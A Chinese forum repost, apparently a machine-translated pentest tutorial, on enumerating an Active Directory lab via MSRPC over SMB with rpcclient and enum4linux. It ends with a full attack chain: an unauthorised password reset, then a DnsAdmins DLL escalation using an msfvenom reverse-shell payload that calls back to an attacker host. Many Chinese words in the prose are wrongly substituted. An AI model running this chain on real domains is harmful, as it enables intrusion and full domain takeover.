AD 侦查-MSRPC Over SMB

打印 上一主题 下一主题

主题 1979|帖子 1979|积分 5937

本文通过 Google 翻译 AD Recon – MSRPC Over SMB (135/139/445) 这篇文章所产生,本人仅是对呆板翻译中部分表达别扭的字词进行了校正及个别解释增补。
导航

0、前言

在这篇文章中,我们将介绍几种可用于摆列 MSRPC over SMB 的工具 ,同时了解 MSRPC、NetBIOS、SMB 这三种服务是什么以及它们是如何结合在一起的。
接下来,我们会对一台加域的 win10 主机进行 nmap 扫描,发现主机打开了我们感爱好的三个端口 135、139、445;然后,利用 rpcclient 手动摆列域相关的大量信息;然而,在对 win 10 主机进行域摆列实验时发现并不可以大概成功,于是便将精力转向了运气更好的 DC;在 DC 上手动提取了大量的域信息之后,我们别的再了解一个可以主动执行整个手动摆列过程的主动化工具 enum4linux;末了,颠末检查摆列结果我们发现可以从 DC 上的标准用户权限提升到 SYSTEM!
1、MSRPC、NetBIOS、SMB 简介

MSRPC 服务利用 IPC 机制(如 命名管道、NetBIOS、Winsock)在客户端和服务器之间建立通讯,协议 IPC$、TCP、UDP、HTTP 用于提供对服务的访问。因此,我们必须了解这些服务是什么(MSRPC/NetBIOS/命名管道 (SMB)),以及它们在通过 SMB 摆列 MSRPC 时是如何协同工作的。
1.1、MSRPC – Port 135

微软远程过程调用 (MSRPC) 是一种通讯协议,它用于向网络中另一台盘算机上的步伐哀求服务。换句话说,MSRPC 调用远程系统上的别的进程,就像是在本地系统中调用它们一样。这是通过“客户端-服务器”或“哀求-响应”模型实现的。
如果想更详细地了解 RPC 的工作原理,请查看维基百科
RPC 端点映射器可通过 TCP 和 UDP 135 端口、利用空会话或验证会话(TCP 139 和 445)的 SMB (管道)以及监听 TCP 593 端口的 web 服务进行访问。此外,在 49xxx 上打开 RPC 端口也很常见,而这些端口又被称为“随机分配的高 TCP 端口”。
如上所述,如果 SMB 打开,则可以利用命名管道进行 RPC 调用。由于不同的命名管道允许进行不同的操作,因此这对摆列/利用来说非常重要。
1.1.1、MSRPC Over SMB

由于 SMB 在 Windows 主机上几乎始终处于打开状态,因此利用 MSRPC 进行摆列的最常见方式就是通过 SMB 命名管道(通过 IPC$ 共享)。【大多数工具与 RPC 的交互方式也均以 SMB 命名管道这种方式为主。】
MSRPC Over SMB 利用了许多不同的命名管道,其中包罗但不限于以下这些:

  • \pipe\lsarpc:本地安全机构 (LSA) – 摆列权限、信任关系、SID、策略等。
  • \pipe\samr:本地 SAM 数据库 – 摆列域/本地用户、域/本地组等。
  • \pipe\svcctl:服务控制管理器 – 远程创建、启动和制止服务以执行命令
  • \pipe\atsvc:使命计划步伐 – 远程创建计划使命来执行命令
  • \pipe\epmapper:支持 Windows 管理规范 (WMI) 的分布式组件对象模型 (DCOM) – 通过 WMI 执行远程命令
  • \pipe\winreg:远程注册表服务 – 用于访问系统注册表
虽然 SMB 共享和 RPC Over SMB 都是基于端口 445 展开的服务,但本文的重点是介绍基于 SMB 的 RPC 工具。虽然也有一些用于摆列 SMB 共享的工具也利用到了 RPC 的部分功能,但这类工具仍被划入 SMB 共享工具
对于此次的摆列,我们将重点关注 rpcclientenum4linux
这些基于 SMB 进行 MSRPC 查询的工具使我们可以大概收集有关主机和域非常多有用的信息,例如用户名、组、密码策略等。
1.2、NetBIOS – Port 139

网络基本输入/输出系统(Network Basic Input/Output System)是一种应用步伐接口,提供与 OSI 模型会话层相关的服务。NetBIOS 的主要用途是允许不同盘算机上的应用步伐通过局域网(LAN)进行通讯。
在今世网络中,NetBIOS 通过 NetBIOS over TCP/IP (NBT) 协议在 TCP/IP 上运行。网络中的每台盘算机都有一个 IP 地点和一个 NetBIOS 名称,名称最长为 15 个字符,通常与盘算机名称一致。

NetBIOS 通过三个不同的端口提供三种不同的服务;然而,当谈到通过 SMB 进行 MSRPC 时,我们最感爱好的是面向毗连通讯的会话服务(端口:139/tcp)。这是由于有些技术或工具利用 NetBIOS 通过 139 端口进行 RPC 摆列,这与 MSRPC over SMB 中利用 445 端口的情况类似。
1.3、SMB – Port 445

服务器消息块 (SMB) 是一种网络文件共享协议,它允许盘算机上的应用步伐通过网络向服务器读取和写入文件。这意味着通过利用 SMB,用户可以从远程盘算机访问文件或别的资源。
SMB 是一种客户端/服务器通讯协议,提供对文件、整个目录和网络资源(打印机等)的共享访问,同时它还承载着进程间通讯的事务。
在今世 Windows 系统上,SMB 可以直接通过 TCP/IP 在 445 端口上运行。而在别的系统上,我们大概会发现某些服务和应用步伐利用的是 139 端口,这意味着 SMB 是与 NetBIOS 一起协同运行的。
多年来,SMB 已发布多个版本,并已实现向后兼容。这意味着运行较新版本 Windows 的装备可以轻松与安装了较旧 Microsoft 操作系统的装备进行通讯。
1.3.1、SMB 默认管理共享

关于 MSRPC over SMB 的另一个注意事项是默认的管理共享及其用途,其中最值得注意的是 IPC$ 共享。
(1)管理共享是隐蔽的网络共享,它允许系统管理员远程访问联网系统上的每个磁盘卷。(2)管理共享大概无法永久删除,但可以禁用。(3)没有管理员权限的用户无法访问管理共享。【注:工作组环境下,只有 administrator 用户有权访问管理共享;域环境下,只有域管理组的用户有权访问。】
系统默认管理共享通常如下:

  • ADMIN$:用于远程管理盘算机。
  • C$:系统上的每个磁盘卷都被作为管理共享以进行文件共享。
  • IPC$:共享命名管道的资源,这些管道对于步伐之间的通讯至关重要,例如远程管理盘算机或查看共享资源。
如今我们已经对 MSRPC、NetBIOS、SMB 的工作原理以及 MSRPC 如何利用这两种服务在客户端和服务器之间建立通讯有了一定的了解,接下来就让我们开始摆列吧!
2、初始摆列 – nmap 扫描

首先,假设我们有一台 Windows 10 呆板,其 IP 地点为 172.16.1.200,然后利用 nmap 对其进行了 TCP 扫描。
  1. nmap -A -sV -sC -T4 172.16.1.200 -p- -oN tcp_full.nmap
复制代码

从上面的输出可以看到,我们感爱好的 135、139 和 445 端口是开放的,同时还有高 RPC 端口,接下来是时候开始摆列它们了。
在开始利用 rpcclient 和 enum4linux 进行摆列之前,我们先利用 nmap 脚本来快速查看一下吧。
3、脚本摆列 – msrpc-enum

在上一篇有关 MSRPC 摆列的文章中,我们介绍了如何利用 rpcdump.py 工具去转储 RPC 端点。其实 nmap 也是可以转储的,而两者唯一的区别是:nmap 脚本是利用 445 端口进行的摆列,而非 135 端口。
  1. nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445
复制代码

正如上面所看到的,当目标是已加入域的 Windows 10 主机时,匿名访问被拒绝。这意味着,我们需要找到凭证才气进行命名管道的摆列。
需要注意的是,Windows 10 1709 及更高版本和 Server 2019 默认不允许匿名访问。点击此处以了解更多。
为了展示 nmap 脚本可以转储 RPC 端点的功能,假设我们已获得了一个用户凭证。
vcreed:Dfaster1!23
  1. nmap -A -sV -sC -Pn --script=msrpc-enum 172.16.1.200 -p445 --script-args smbusername='vcreed',smbpassword='Dfaster1!23',smbdomain='juggernaut.local'
复制代码

nmap 输出的结果与利用 rpcdump.py 输出的结果大致类似,唯一的区别在于:nmap 利用 445 端口,而在本例中该端口拒绝匿名访问;而 rpcdump.py 利用 135 端口,并且不需要凭据即可提取类似的信息。
好了,既然我们已经看到了这一点,接下来,就让我们继续讨论更风趣的 RPC 摆列 – rpcclient。
4、手动摆列 – rpcclient

rpcclient 是一款优秀的 RPC 摆列工具,是 Samba 套件的一部分。它用于在建立 SMB 会话后通过命名管道(SAMR、LSARPC、LSARPC-DS 接口)与 MSRPC 进行交互。
通过 rpcclient 我们可以摆列许多信息,例如 系统信息、操作系统信息、用户信息、组信息等;此外,根据传递给 rpcclient 的帐户权限,我们还可以执行一些管理使命,例如 更改用户密码、创建新的域用户等
由于 rpcclient 是基于 SMB 进行的访问,因此该工具的利用通常需要提供用户凭证才气开始。
尽管默认情况下匿名访问是被禁用的,但仍然值得检查它是否已启用。
可以利用以下命令来测试匿名访问:
  1. rpcclient 172.16.1.200 -N
复制代码

正如预期所料,当实验在 Windows 10 主机上建立匿名会话时,我们被拒绝访问。
仍旧利用上面已获得的凭证,让我们利用它们来建立一个颠末验证的会话。
  1. rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.200
复制代码

Perfect!出现 rpcclient 提示符,阐明会话已成功建立,接下来就让我们来看一些有用命令吧。
4.1、Win10 主机(已加域)的摆列限制

由于 Windows 10 呆板已加入域,因此我们假设本身可以通过该主机查询域信息,类似于我们在建立立足点后利用 net 命令查询域的方式一样。
但不幸的是,事实并非如此。例如,虽然我们可以通过 srvinfo 命令获取到信息,但那是由于系统信息属于本机信息而非域信息。
  1. srvinfo
复制代码

当我们实验收集有关该域的任何信息时,会提示错误。

此外,rpcclient 没有摆列本地用户/组的命令,因此对于 Windows 10 主机来说它不是很有用。
因此,我们将把重点转移到 DC 上以进行域摆列。
  1. rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5
  2. srvinfo
复制代码

从两个 srvinfo 的输出中,我们可以看到操作系统版本是 10,这意味着这些呆板大概运行的是 Windows 10、Windows 11、Server 2016、Server 2019 或 Server 2022。而 DC 实际上运行的是 Server 2019。
4.2、Rpcclient 摆列命令

对于 rpcclient 的摆列,我们将侧重于通过低权限用户访问,而不是管理员访问。由于有了管理员权限,可以做的事变有很多。但我们更想知道的是,作为标准用户可以摆列的信息能有多少。我们盼望找到一些有用的东西,以帮助获得立足点,或在建立立足点后提升权限。
下面我们将把 rpcclient 内置命令分成这几个部分:域摆列、用户摆列、组摆列、共享摆列和别的摆列,来逐一介绍。
4.2.1、域摆列

首先列举与目标相关的域的数目。
  1. enumdomains
复制代码

Juggernaut 是唯一的域,这意味着我们可以利用以下命令来收集有关它的一些概览信息:
  1. querydominfo
复制代码

输出提供了有关用户、组、别名的数目以及是否强制注销等信息。
接下来,查看密码策略,这对于设置有针对性的暴力破解或密码喷洒攻击很有用。
  1. getdompwinfo
复制代码

Nice!默认密码策略已应用,要求最小长度为 7 个字符。此外,其中三个字符必须包罗小写字母、大写字母、数字和/或特殊字符。
另一个很酷的东西是可以获取应用于整个域的特权列表。
注:这些特权是整个域所有用户的所有特权的综合,并非当前用户 vcreed 所拥有的特权。
  1. enumprivs
复制代码

接下来,我们要抓取的是域 SID,它只是一个用于跟踪对象的唯一安全标识符。
域中的所有内容都是对象,并且所有对象都分配有一个 RID,这是另一种唯一(相对)标识符。域 SID+RID 的组合为域中的每个对象提供了唯一标识符 (SID)。
例如,可以利用以下命令来获取域 SID:
  1. lookupdomain juggernaut
复制代码

大概,利用另一个命令来获取类似的信息:
  1. lsaquery
复制代码

除了获取域 SID 之外,还可以获取属于 LSA 域用户和组的 SID 列表。
  1. lsaenumsid
复制代码

如今我们可以获取这些 SID 并利用 lookupsids 命令检查它们:
  1. lookupsids S-1-5-21-2365897340-51848609-3160590671-1121
复制代码

末了,可以利用以下命令获取应用于各个安全组的 ACE。
  1. lsaquerysecobj
复制代码

同样地,要确定这些是哪些安全组,可以利用 lookupsids 命令检查 SID 。
  1. lookupsids S-1-5-7
复制代码

4.2.2、用户摆列

有一个很棒的命令,我们可以立刻利用,它提供了所有域用户及其十六进制 RID 的列表。
  1. enumdomusers
复制代码

我们可以实验一个很酷的技巧,就是转储这个列表到 users.txt 文件中。

然后应用一些技巧,我们将得到一个用户列表,它可以用于摆列、暴力破解等。
  1. cat users.txt | tr '[\]' ' ' | awk '{print $2}'
复制代码

此外,我们还可以利用另一个命令来转储所有域用户的列表,但这个命令有点不同,由于它还包罗着别的信息,如“描述”(而其中大概会包罗有密码)。
  1. querydispinfo
复制代码

获取到用户列表后,可以利用 queryuser 命令单独收集每个用户的别的信息。如 当前的用户:
  1. queryuser vcreed
复制代码

提供的用户信息有许多,其中包罗密码信息甚至错误的密码计数,这在执行密码喷洒攻击时很有用。
接下来,我们可以通过在以下命令中提供 RID 来查询每个用户所属的所有组:
  1. queryusergroups 0x451
复制代码

如今可以查询组 RID 来查看用户属于哪些组。
  1. querygroup 0x472
  2. querygroup 0x201
复制代码

风趣的是,除了标准域用户组之外,还可以看到当前用户还是服务台组(自界说组)的成员。
要摆列每个用户的 SID,我们可以利用 lookupnames 命令。
  1. lookupnames vcreed
复制代码

末了,可以通过以下命令获取用户特定的密码策略信息:
  1. getusrdompwinfo 0x451
复制代码

4.2.3、组摆列

就像我们在用户摆列中看到的一样,还有一个很棒的命令,可以用它来提供所有域组及其十六进制 RID 的列表。
  1. enumdomgroups
复制代码

在列出的浩繁组中,非标准组我们需要特别注意。
DC 上还存在一组额外的组,即内置组。我们可以列出所有这些组以及它们的十六进制 RID,如下所示:
  1. enumalsgroups builtin
复制代码

正如之前在用户摆列部分看到的,我们可以根据十六进制 RID 值查询任何组。
  1. querygroup 0x200
复制代码

这里我们可以看到有两个用户位于域管理员组中。其中一个很大概是内置管理员帐户,这意味着另一个用户帐户具有管理员权限。
不幸的是,无法利用 querygroup 命令或别的命令来查询内置组的信息。
发现有两个用户属于 Domain Admins 组后,我们可以利用 querygroupmem 命令找出它们是谁。
  1. querygroupmem 0x200
复制代码

通过此命令,我们可以大概获取到 Domain Admins 组中的两个用户的 RID。如今我们可以快速检查这些用户是谁。
  1. queryuser 0x1f4
  2. queryuser 0x452
复制代码


正如预期的那样,其中一个帐户是内置管理员帐户,而另一个帐户是域用户:nessex。这是一个重大的发现!
末了,我们可以利用 lookupnames 命令以摆列用户 SID 的方式摆列组 SID 。
  1. lookupnames 'Domain Admins'
复制代码

4.2.4、共享摆列

末了一个例子,我们将摆列共享。说到摆列共享,有两个命令可以显示共享。其中一个显示所有共享,另一个显示除默认共享之外的所有共享。由于只有三个管理共享,因此最好直接利用显示所有共享的命令。
  1. netshareenumall
复制代码

从上面可以看到,总共六个共享,其中三个是管理共享。
另一个排除默认管理共享的命令是 netshareenum。
此外,在提取共享列表之后,我们可以检查与上面列出的任何共享相关的权限(ACE)。例如:
  1. netsharegetinfo confidential
复制代码

输出告诉我们有关此共享的一些重要信息,例如实际系统上的文件路径和直接应用于此文件夹的 ACE。
此外,ACE 为我们提供了 SID 以及应用于 SID 所属用户或组的给定权限。
与之前查找 SID 的方式类似,我们可以快速检查这些 SID,看看它们属于谁/什么。如果我们用空格分隔 SID,就可以用一个命令列举所有 SID:
  1. lookupsids S-1-1-0 S-1-5-21-2365897340-51848609-3160590671-1114 S-1-5-21-2365897340-51848609-3160590671-500 S-1-5-32-544 S-1-5-21-2365897340-51848609-3160590671-513
复制代码

我们想要看到的写访问权限,虽然在这个例子中没能看到,但这证明了 rpcclient 对于攻击者来说确实是一个非常强大的工具。
接下来,我们将介绍另一个很棒的工具,它可以主动执行刚刚我们在 rpcclient 中看到的大量的 MSRPC 摆列,甚至更多!
5、主动摆列 – enum4linux

如今,我们已经了解了如何利用 rpcclient 手动摆列有关域的大量有用信息。接下来,让我们将注意力转移到主动工具 enum4linux 上,它可以为我们完成大部分类似的摆列工作,但不是 rpcclient 手动摆列的全部。
Enum4linux 预先与 Kali 打包在一起,但如果由于某种缘故原由您没有它,您可以从这里下载它。
Enum4linux 是一个功能强大的工具,可以摆列 MS-RPC、LDAP、NBT-NS。之所以能做到这一点,是由于该脚本本质上只是这四个 Samba 工具的封装:nmblookup、net、rpcclient、smbclient。
由于该脚本利用了多种工具,因此它能收集到许多 rpcclient 无法收集到的信息。
运行 enum4linux 时可以利用许多不同的选项,但对于此示例,我们将利用 -a 选项。
  1. enum4linux -h
复制代码

Great!如今我们已经了解了所有可用的选项,接下来就运行试试吧。
在找到用户凭证之前匿名测试 enum4linux 是一个好风俗。
  1. enum4linux -a -u 'juggernaut.local\vcreed' -p 'Dfaster1!23' 172.16.1.5
复制代码









enum4linux  输出的信息量可真大。而且,其中大约 90% 都是利用 rpcclient 收集的。
除了 rpcclient 之外,enum4linux 利用的工具更多摆列更为全面,其好处是可以为我们提供有关本地组和内置组、用户以及构成员的信息。这对我们大有裨益,由于它能显示哪些用户可以通过 RDP 或 WinRM 等方式访问 DC。
6、示例 – 从服务台到域管理员

在上面的摆列中,我们发现了一些可以利用 rpcclient 去利用的埋伏提示。
可以看到有一个“Service Desk”组,而当前用户“vcreed”正是该组的成员。通常情况下,当我们发现一个“IT support”类型的自界说组/用户名称中包罗有 帮助台-Help Desk、服务台-Service Desk、支持-Support、IT 等 字样时,该组/用户很有大概拥有一些特殊的权限(如 强制重置密码)。
此外,由于互联网上有许多糟糕的教程,这些权限通常被宽松地应用,不仅为用户提供重置密码的权限,还大概为用户提供更改密码的权限!
如果我们想做的更彻底一点的话,可以利用一个名为bloodhound的工具来确认这个怀疑;然而,对于这个例子,我们假设本身的预感是正确的,即当前用户可以更改别的用户的密码。
这对攻击者来说是一个巨大的突破,由于我们很大概可以更改任何用户的密码,只要它们不在域管理员组中。
拥有更改密码权限的标准用户不可以大概更改管理员用户的密码。
6.1、利用 Rpcclient 更改用户密码

根据 enum4linux 的输出,我们可以看到用户 nessex 是 DA(域管理员),因此它的密码我们是无法更改的。但是,我们还找到了别的两个用户,它们是值得关注的群组的成员,这为在 DC 上获取立足点提供了途径。
我们可以更改 cmarko 的密码,由于它位于远程管理用户组中,可以通过 WinRM 会话访问 DC;大概,我们可以更改 meisenhardt 的密码,由于它位于远程桌面用户组中,可以通过 GUI 会话通过 RDP 访问 DC。
但在这个例子中,我们将利用 mesienhardt 的 GUI 会话,由于这个用户同时也属于 DnsAdmins 组,这很风趣。
首先,我们进入 rpcclient 会话。
  1. rpcclient -U 'juggernaut.local/vcreed%Dfaster1!23' 172.16.1.5
复制代码
然后,执行以下命令,我们就可以将用户密码更改为任何密码。在这个例子中,我们将保持简单并利用 Password123,由于它符合呆板的密码策略。
  1. setuserinfo2 meisenhardt 23 Password123
复制代码

输出没有错误产生,这表明命令执行成功。
6.2、立足于 DC

为了确认密码更改是否有用,我们可以利用 crackmapexec 去检查新密码。
  1. crackmapexec smb 172.16.1.5 -u 'meisenhardt' -p 'Password123'
复制代码

[+] 提示则表示凭证正确,密码更改确实成功了!
由于该用户属于 RDP 组,因此我们如今可以大概启动 RDP 会话并在 DC 上获得立足点。
  1. sudo xfreerdp /u:meisenhardt /p:Password123 /d:juggernaut.local /v:172.16.1.5 +clipboard
复制代码


6.3、权限提升 – 从域用户到 SYSTEM (DnsAdmins 组)

由于用户 meiseinhardt 也是 DnsAdmins 组中的成员,因此我们可以继续利用此权限以从标准用户升级到 SYSTEM。
首先,我们需要一个恶意 DLL 载荷文件。
  1. msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll > dns.dll
复制代码

接下来我们需要将文件传输到受害者主机,或将其托管在共享目录中。为了简单起见,我们将其托管在共享目录中。
  1. smbserver.py share $(pwd) -smb2support
复制代码

接下来,在攻击呆板上启动一个 netcat 监听器,以便捕获 SYSTEM shell 反向毗连。
  1. nc -nvlp 443
复制代码
回到 RDP 会话,运行以下命令。该命令将在注册表中添加一个条目(指向恶意 DLL),然后重新启动服务。
  1. dnscmd \\Juggernaut-DC /config /serverlevelplugindll \\172.16.1.30\share\dns.dll
复制代码

利用下面命令确认注册表项已创建:
  1. reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\DNS\Parameters"
复制代码

Perfect!一切看起来都很棒。如今,让我们快速重启服务。
  1. sc.exe \\Juggernaut-DC stop dns
  2. sc.exe \\Juggernaut-DC start dns
复制代码

然后回到监听器,可以看到捕获了一个 SYSTEM shell!

Amazing!综上所述,通过对 MSRPC 的开端摆列,我们收集到了足够的信息,然后水平移动到了另一个用户,末了成功提升到了 SYSTEM 权限。
7、末了的想法

摆列具有很强的周期性。作为攻击者,我们应该始终实验以匿名方式攻击所有的 AD 服务,万一走运了呢。我们盼望有一项服务能允许匿名访问,并提供一些获取用户凭据的方法。一旦获得凭据,我们就应该再绕返来,在那些我们匿名访问失败的服务上继续进行摆列测试。
从以上内容可以看出,MSRPC 摆列对于攻击者来说是有多么重要。利用 rpcclient 和 enum4linux 等工具,我们可以远程提取大量的信息;但是,可以大概消化这些信息也很重要。如示例中所展示的那样,通过像攻击者一样思考,我们可以大概利用 enum4linux 的输出将我们的权限提升到最高级别(DC 上的 SYSTEM)。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

立山

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表